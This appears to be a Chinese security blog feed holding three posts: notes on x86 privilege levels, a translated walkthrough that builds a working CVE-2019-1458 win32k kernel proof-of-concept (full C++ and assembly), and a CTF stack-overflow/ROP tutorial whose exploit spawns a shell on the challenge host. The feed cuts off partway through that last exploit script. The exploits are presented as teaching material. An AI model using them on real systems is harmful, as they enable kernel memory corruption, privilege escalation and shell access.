  特权级按照权力分为0、1、2、3级,数字越小,级别越高。计算机启动之初就在0级特权运行,MBR则就是0级权限,谈到权限就得提到TSS任务状态段,程序拥有此结构才能运行,相当于一个任务的身份证,结构如下图所示,大小为104字节,其中有很多寄存器信息,而TSS则是由TR寄存器加载的

每个特权级只能有一个栈,特权级在变换的时候需要用到不同特权级下的栈,特权转移分为两类,一类是中断门和调用门实现低权限到高权限,另一类是由调用返回指令从高权限到低权限,这是唯一一种让处理器降低权限的方法。

对于低权限到高权限的情况,处理器需要提前记录目标栈的地方,更新SS和ESP,也就是说我们只需要提前在TSS中记录好高特权级的栈地址即可,也就是说TSS不需要记录3级特权的栈,因为它的权限最低。

对于高权限到低权限的情况,一方面因为处理器不需要在TSS中寻找低特权级目标栈的,也就是说TSS也不需要记录3级特权的栈,另一方面因为低权限的栈地址已经存在了,这是由处理器的向高特权级转移指令(int、call等)实现机制决定的。下面就介绍一下权限相关的一些知识点:

CPL、DPL、RPL

CPL是当前进程的权限级别(Current Privilege Level),是当前正在执行的代码所在的段的特权级,存在于cs寄存器的低两位。

RPL是进程对段访问的请求权限(Request Privilege Level),是对于段选择子而言的,每个段选择子有自己的RPL,它说明的是进程对段访问的请求权限,有点像函数参数。而且RPL对每个段来说不是固定的,两次访问同一段时的RPL可以不同。RPL可能会削弱CPL的作用,例如当前CPL=0的进程要访问一个数据段,它把段选择符中的RPL设为3,这样它对该段仍然只有特权为3的访问权限。

DPL存储在段描述符中,规定访问该段的权限级别(Descriptor Privilege Level),每个段的DPL固定。当进程访问一个段时,需要进程特权级检查,一般要求DPL >= max {CPL, RPL}

门结构

处理器只有通过门结构才能由低特权级转移到高特权级,也可以通过门结构进行平级跳转,所以门相当于一个跳板,当前特权级首先需要大于门的DPL特权级,然后才能使用门来跳到想去的特权级,处理器就是这样设计的,四种门结构分别是:任务门、中断门、陷阱门、调用门。门描述符和段描述符类似,都是8字节大小的数据结构,用来描述门通向的代码,如下所示

任务门可以放在GDT、LDT、IDT中,调用门位于GDT、LDT中,中断门和陷阱门仅位于IDT中调用方法如下

调用门

call 和 jmp 指令后接调用门选择子为参数,以调用函数例程的形式实现从低特权向高特权转移,可用来实现系统调用。 call 指令使用调用门可以实现向高特权代码转移, jmp 指令使用调用门只能实现向平级代码转移。若需要参数传递,则0~4位表示参数个数,然后在权限切换的时候自动在栈中复制参数。关于调用门的过程保护,参考P240

中断门

以 int 指令主动发中断的形式实现从低特权向高特权转移, Linux 系统调用便用此中断门实现。

陷阱门

以 int3 指令主动发中断的形式实现从低特权向高特权转移,这一般是编译器在调试时用。

任务门

任务以任务状态段 TSS 为单位,用来实现任务切换,它可以借助中断或指令发起。当中断发生时,如果对应的中断向量号是任务门,则会发起任务切换。也可以像调用门那样,用 call 或 jmp 指令后接任务门的选择子或任务 TSS 的选择子。

IO特权级

保护模式下,处理器中的”阶级”不仅体现在数据和代码的访问,还体现在以下只有在0特权级下被执行的特权指令

1
hlt、lgdt、ltr、popf等

还有一些IO敏感指令如in、out、cli、sti等访问端口的指令也需要在相应的特权级下操作,如果当前特权级小于 IOPL 时就会产生异常,IOTL 在 eflags 寄存器中,没有特殊的指令设置 eflags 寄存器,只有用 popf 结合 iretd 指令,在栈中修改,当然也只有在0特权下才能操作,eflags 寄存器中的 IOTL 位如下所示

]]>
<p>本系列文章主要记录阅读《操作系统真相还原》一书的笔记,主要是记录实现部分,如果您觉得看着很唐突的话很正常,因为我主要是记录代码和实现的过程,如果您能直接看懂的话,那功力是比较深厚的了,不过如果您没看过这本书的话,我还是非常建议您看着这本书和我一起做实验。</p> <p>很久
CVE-2019-1458: 从'漏洞报告'到POC的编写过程 https://thunderjie.github.io/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/ 2020-03-21T15:48:24.000Z 2020-05-07T03:26:12.072Z 本文翻译自: https://github.com/piotrflorczyk/cve-2019-1458_POC ,仅供学习交流

介绍

卡巴斯基在12月发布了一篇关于0day exploit used in the wild的文章。这提起了我的兴趣,他们只是简单描述了漏洞的工作和利用方式,但却没有提供任何详细的POC。于是我决定尝试根据卡巴斯基博客的文章和补丁分析为该漏洞编写POC。

信息搜集

第一件事就是我们需要尽可能的搜集有关此漏洞的信息。在阅读上文提到的博客中,我提取了以下信息:

  • 这个漏洞和窗口切换功能有关
  • 需要模拟按下ALT键去触发
  • 需要对未文档化的NtUserMessageCall函数进行两次调用
  • 需要创建一个特殊的切换窗口
  • 一些关于内核函数win32k!DrawSwitchWndHilite的文档

除此之外还有一个很不错的反编译图片,显示了上面列出的一些内容。具体来说图片显示了:创建一个切换窗口,调用 toggle_alt_key函数并多次调用了NtUserMessageCall函数的过程(图片来源)

Part of decompiled exploit code

有许多有用的信息,但是仍然没有描述对漏洞工作方式和触发的细节。

补丁对比

漏洞模块是win32k.sys,我下载了该模块的修复和未修复版本。

对于win 7 x64而言,补丁编号是:

  • 修复编号: KB4530692
  • 未修复编号: KB4525233

可以从微软官方补丁下载网站去下载它们

下面是用 bindiff 比较两个版本的结果

win32k comparison

在排除一些和功能性有关的DebugHook函数之后,我们需要关注的就是这个稍微改变了一些的 InitFunctionTables()函数表

InitFunctionTables changes

这里肯定不是最关键的补丁所在。这不会帮助我们立即识别漏洞的关键点,但值得注意的是新添加的*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) ,这里可能存在和未初始化变量相关的漏洞。

一步一步构造POC

在本节中我会逐步构造触发此漏洞的POC,同时我也会分析清楚这个漏洞的根本原因。

从何处开始

补丁对比一开始没有给出很多有用的信息,所以在开发的第一阶段,我主要是依据卡巴斯基的分析文章。为了有一个良好的测试环境,我提前准备了 Win7 SP1 x64的虚拟机并拥有最新版本的win32k补丁。需要注意的是我将Windbg附加到该虚拟机上进行内核调试,同时我还配置好了它的符号路径。

我决定通过博客文章中提到的win32k!DrawSwitchWndHilite 函数开始我的分析。有两个地方交叉引用到了它:xxxMoveSwitchWndHilite函数和xxxPaintSwitchWindow函数,后者立刻引起了我的注意,因为其中在GetKeyState/GetAsyncKeyState 周围调用到了博客中提到的关键函数并且它检查了ALT键是否被按下。

Interesting callsite to DrawSwitchWndHilite

注:从xxxPaintSwitchWindow中调用DrawSwitchWndHilite

在交叉引用观察之后(xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite),我发现该调用链的第一个函数在InitFunctionTables表中,也是在补丁中修复的函数。

接下来我把目光移到了NtUserMessageCall函数上,下面是它的函数申明

1
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

Exploit是通过调用它并在参数中赋值了msg = 0x14dwType = 0xE0,让我们看看它是如何做到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

在这里我简单的注册了一个窗口类并创建了窗口,然后我调用了NtUserMessageCall函数并赋予它和exploit中相同的参数观察结果。为了了解实际情况,我设置了断点 kd> ba e 1 win32k!NtUserMessageCall并运行代码。

其中被断下来很多次,我们必须获取正确的调用链,这并不困难,因为它的调用栈很短。

NtUserMessageCall

注:NtUserMessageCall

单步调试代码可以发现它从 gapfnMessageCall 数组指针中通过索引来调用的函数,这里索引是0,索引是根据msg值计算的,因此他会调用NtUserfnDWORD函数

NtUserfnDWORD

注:NtUserfnDWORD

下一个调用会比较dwType的值,并且现在gpsi的偏移等于0x40,导致调用到xxxWrapSwitchWndProc函数(这个函数在刚才DrawSwitchWndHilite函数的调用链中出现)。

xxxWrapSwitchWndProc函数中又调用了xxxSwitchWndProc函数

xxxSwitchWndProc

注:xxxSwitchWndProc

代码执行到这里就会失败,没有办法继续执行到xxxPaintSwitchWindow函数,这是我们基于msg值等于0x14执行的流程。让我们检查一下原因。

触发正确的路径

就像前面那张图显示的,代码在这个地方会执行失败,因为窗口的fnid值不等于0x2A0 (FNID_SWITCH),并且正在发送的消息不等于1,所以会直接结束xxxDefWindowProc函数。为了避免这种情况,我们需要将fnid值设置为FNID_SWITCH然后再调用xxxSwitchWndProc 函数,这样我们就可以通过执行switch语句调用到xxxPaintSwitchWindow函数。

如何设置正确的fnid值?实际上上图中红色框已经显示的很清楚了,我们只需要将if中的检查全部失败即可到达设置fnid值的地方。

下面是一些我们需要满足的条件,使这三个if判断都失败:

  • fnid == 0cbwndExtra + 0x128 >= *(gpsi + 0x154)

    对于每个用户创建的新窗口而言,它的fnid值都为0,*(gpsi+0x154)值在未修复版本的win32k中为0,在修复版本中即使它被设置为0x130,我们仍可以通过将cbwndExtra设置为8或更高从而绕过第一个检查

  • msg == 1

    可以通过NtUserMessageCall函数进行设置,虽然将msg 设为 1可以控制流程执行到 NtUserfnINLPCREATESTRUCT而不是 NtUserfnDWORD 但是它仍会在xxxSwitchWndProc处终止

  • extraData == 0

    extraData的大小可以通过注册窗口时的cbwndExtra值来确定。extraData会紧接在tagWND结构之后(我在IDA中将这个字段使用 QWORD类型添加到tagWND结构里在sizeof(tagWND)偏移处,这样会增加反编译代码的阅读性)。它的值可以通过调用SetWindowLongPtr函数直接来设置。

如果满足上述所有条件,窗口的fnid值就会设置为FNID_SWITCH

因此我们现在需要调用两次NtUserMessageCall 函数,第一次将参数msg 赋值为 1 来设置需要的fnid值,第二次则直接调用到达xxxPaintSwitchWindow问题函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE/* = 1*/, 0, 0, 0, 0x0, 1);

printf("[*] Calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND/* = 0x14*/, 0, 0, 0, 0x0, 1);

我为窗口类添加了extraData,并添加了第二次调用的NtUserMessageCall函数。现在我们的调用链就可以达到xxxPaintSwitchWindow函数了。

(附带说明:dwType 的值不需要等于 0xE0, 其值为 0 效果也是一样的 , 因为在 NtUserfnDWORD 函数中会和 0x1F 进行与操作)

xxxPaintSwitchWindow

注:xxxPaintSwitchWindow

经过仔细的检查,我发现从窗口对象(25行)获取的 extraWndData的值会被当成一个指针去修改一块内存的值!(46-52行)如果我能通过代码设置extraWndData的值,那我们就可以实现破坏任意内存!

要达到此目的我们需要再通过一些检查(红色标记):

  • 检查窗口属性是否有WS_VISIBLE标志

    这个标志可以直接通过CreateWindowEx设置

  • fnid == 0x2A0cbwndExtra + 0x128 == *(gpsi + 0x154)

    fnid的值已经被第一次调用的NtUserMessageCall函数设定了。

    问题出在第二个检查,由于 *(gpsi + 0x154)没有在未补丁的win32k模块中初始化,因此这里的检查会一直不通过。除非我们以某种方式将其设置为正确的值。事实证明,创建特殊的切换窗口(卡巴斯基文章中提到)可以做到这一点。

  • 检查窗口是否未销毁

    在这种情况下已经实现未销毁。

要创建特殊的切换窗口,我们需要调用CreateWindowEx函数并设置窗口名为0x8003 (#32771)。这样我们最终就会在内核中调用到InternalRegisterClassEx函数

InternalRegisterClassEx

注:InternalRegisterClassEx 函数片断

这里会初始化*(gpsi+0x154) 的值为 0x130

这样做的副作用是,这个变量值一旦被设定,就无法再设置为0。因此,我们只有一次运行exploit的机会。任何其他的尝试都会在下次重新运行之前失败。

控制解引用的值

现在,我们可以控制extraWndData的值后来作为指针被解引用并且传入xxxPaintSwitchWindow中,extraWndData 可以通过调用如下函数控制

1
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

需要关注的一件事情是,我们必须在第一次调用NtUserMessageCall函数之后进行此调用,因为如下图所示,在第一次调用时xxxSwitchWndProc函数要将窗口的extraData值设置为0,所以我们需要绕过这个检查。

在创建切换窗口之前SetWindowLongPtr 函数也需要进行调用,参见下图:

xxxSetWindowLong

注:xxxSetWindowLong函数片段

这是我们实际利用未初始化变量*(gpsi + 0x154)的地方,通过此检查后,我们将wnd->extraData设置为任意值。如果正确初始化,则此处的利用将失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, 0x4141414141414);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

这是运行上述代码的结果

Debugging succesful run of exploit

不久之后,当 rdi 取消引用时,我们就会产生一次异常检查。在修复的Windows上运行利用程序显示如下:

1
2
3
4
5
6
7
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr 函数失败,返回错误码为 0x585 因为*(gpsi + 0x154)变量被正确的初始化了,所以不会引起异常检查。

根本原因(回顾)

总的来讲,主要问题是未正确初始化*(gpsi+0x154)变量。

但这个值有什么作用,为何它如此重要?

gpsi是一个全局指针指向tagSERVERINFO结构。这个结构描述了系统窗口(意味着菜单,桌面,切换等等),而不是用户窗口。这些窗口通过FNID值进行识别,例如 0x2A0 代表着切换窗口。

当使用RegisterClassEx注册窗口时,我们有机会在WNDCLASSEX上指定cbWndExtra 字段,该字段描述了除tagWND结构外还将分配多少字节的额外数据,以储存窗口的额外信息。然后,我们可以通过调用SetWindowLongPtr函数修改这些额外的字节。

系统窗口使用完全相同的机制来储存工作所需要的额外数据。但是原则上,不应使用 SetWindowLongPtr修改此数据。我们看到xxxSetWindowLongPtr函数中确实有一个阻止它的检查。在申明类型信息之后,下面是检查部分:

1
2
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error

数组gpsi->mpFnid_serverCBWndProc描述了给定的系统窗口对象(包括额外数据)的大小。

*(gpsi+0x154) 成为gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]。通过使该字段保持未初始化状态,xxxSetWindowLongPtr 认为额外数据的大小为 sizeof(tagWND),因此,我们能够写入的是切换窗口结构中的私有字段。

这个漏洞的根本原因是未初始化(或者默认情况下初始化为0)的变量gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]

这解释了为什么这个补丁这么小。需要做的事情只是将其设置为sizeof(tagWND) + 8。以相同的方式现在也初始化了一些其他变量在 mpFnid_serverCBWndProc 数组中(FNID_DESKTOP, FNID_TOOLTIPS),这应该也是为了防止其他类似的变种利用方法。

InitFunctionTable with types

破坏内存

运行exploit我们可以产生一次异常,崩溃发生在以下指令:

1
2
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d; rdi = 0x4141414141414

在编写POC的最后一步是造成更有用的崩溃,或者造成更好的内存损坏并不使系统崩溃。

为了实现最后一步,我们需要:

  • 提供一个有效的指针指向可读可写的内存

    我选择使用VirtualAlloc函数去分配一些内存并将返回的指针作为参数传递给SetWindowLongPtr

  • 模拟按下ALT键

    就像之前提到的,我们会在xxxPaintSwitchWindow 函数中调用 GetKeyState/GetAsyncKeyState 并检查是否有按下ALT键。如果没有按下,程序就会退出。不论是使用GetKeyState 还是 GetAsyncKeyState 它们都是由[extraWndData+6Ch]中的标志决定

    我选择调用SetKeyboardState函数来模拟ALT键。这只适用于和 GetKeyState 函数一起调用,因此我需要将偏移 0x6C 处的值设置为 1

1
2
3
4
5
6
7
8
9
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256];
GetKeyboardState(keyData);
keyData[VK_MENU] |= 0x80;// simulate ALT
SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1;// force use of GetKeyState inside xxxPaintSwitchWindow

通过这段代码,我发生了另一次崩溃

1
2
3
4
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx]; rcx = 0

因此,我提供了一个有效的偏移量指针0x20(指向自身)

1
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

现在该漏洞利用程序可以正常工作而不会崩溃,并且当我们检查分配的页面的内容时,我们可以看到它已被修改!

Memory content

我们实现了一个稳定的POC并且破坏了一块给予它的内存。这比在内存读取时POC崩溃要好得多,因为这种任意的内存损坏可以更容易地转变为任意的内核读/写。另外,我们已经提出了要损坏内存必须满足的条件。

结论

在这次练习中我介绍了如何通过一个漏洞描述报告实现一个有用的内核漏洞利用的POC。

这是一个非常有趣的利用就因为少了一行的代码。所以我想说的是,永远要记得初始化你的全局变量。

POC

poc.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow

//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

asm.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
_DATA SEGMENT
_DATA ENDS
_TEXT SEGMENT

PUBLIC NtUserMessageCall
NtUserMessageCall PROC
mov r10, rcx
mov eax, 1007h ; Win7 sp1
syscall
ret
NtUserMessageCall ENDP
_TEXT ENDS
END
]]>
<p><strong>本文翻译自: <a href="https://github.com/piotrflorczyk/cve-2019-1458_POC" target="_blank" rel="noopener">https://github.com/piotrflorcz
Linux Pwn Learning https://thunderjie.github.io/2020/02/09/Linux-Pwn-Learning/ 2020-02-09T03:59:03.000Z 2020-05-07T03:16:22.314Z 0x00:Introduction

本篇文章主要总结自己学习Linux Pwn的一些过程,记录了一些有意义的资料

0x01:Stack Attack

0x00:DynELF

DynELF方法适用于没有libc的情况,我们可以通过DynELF方法来实现泄露system函数的地址,那么DynELF是什么呢?在pwntools官方文档有介绍,简单而言就是通过leak方法反复进入main函数中查询libc中的内容,其代码框架如下

1
2
3
4
5
6
7
8
9
p = process('./xxx')
def leak(address):
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex'))) #打印搜索的信息
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

我们通过一道题来深入了解这个方法

0x01:Jarvis Oj-level4

题目链接

https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

解题思路

我们先检测一些保护机制

1
2
3
4
5
6
7
  root@Thunder_J-virtual-machine:~/桌面# checksec level4
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled #堆栈不可执行
PIE: No PIE (0x8048000)

用IDA查看一下主函数内容

main()

如果是做了前面level0-3的朋友应该对这里非常熟悉,逻辑非常简单,我们进vulnerable_function()函数内看一下

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function()

很明显这里出现栈溢出,read函数读取0x100的内容,双击buf可以看到buf只有0x88+0x4的大小,所以我们可以构造栈溢出

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

return read(0, &buf, 0x100u);
}

第一次构造

既然我们清楚是栈溢出,我们就需要多多观察程序内的信息,有没有system,’/bin/sh’等关键的内容,然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息,那这里就需要用到上面提及的DynELF的方法了,我们通过objdump查看函数信息:

1
2
3
4
5
6
7
8
9
10
11
root@Thunder_J-virtual-machine:~/桌面# objdump -R level4

level4: 文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __gmon_start__
0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a018 R_386_JUMP_SLOT write@GLIBC_2.0

我们看到有read和write函数,其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了,因为我们可以通过栈溢出覆盖返回地址执行,因此我们第一次构造调用write函数泄露libc中system的地址

1
2
3
4
5
6
7
8
9
10
def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p32(addr) + p32(4) #write(1, addr, 4);
r.send(payload)
leaked = r.recv(4)
return leaked

d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')

第二次构造

我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了,那么去哪里写入呢?当然是.bss段,我们通过readelf的方法查看程序的.bss段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@Thunder_J-virtual-machine:~/桌面# readelf -S level4
There are 30 section headers, starting at offset 0x1844:

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804827c 00027c 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048288 000288 000020 00 A 6 1 4
[ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4
[10] .rel.plt REL 080482b0 0002b0 000020 08 AI 5 12 4
[11] .init PROGBITS 080482d0 0002d0 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16
[13] .text PROGBITS 08048350 000350 0001c2 00 AX 0 0 16
[14] .fini PROGBITS 08048514 000514 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048528 000528 000017 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 08048540 000540 000034 00 A 0 0 4
[17] .eh_frame PROGBITS 08048574 000574 0000ec 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4
[24] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 001024 000052 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 001076 000106 00 0 0 1
[28] .symtab SYMTAB 00000000 00117c 000450 10 29 45 4
[29] .strtab STRTAB 00000000 0015cc 000276 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)

根据上面的数据我们选中.bss段的地址开始第二次构造,在.bss段中写入’/bin/sh’字符串

1
2
3
4
5
6
7
8
data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

第三次构造

准备工作做完了当然最后一步就是getshell了

1
2
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

0x02:exp

总结一下上面的步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

r = remote("pwn2.jarvisoj.com", 9880)

def leak(addr):
write_plt = p32(0x08048340)
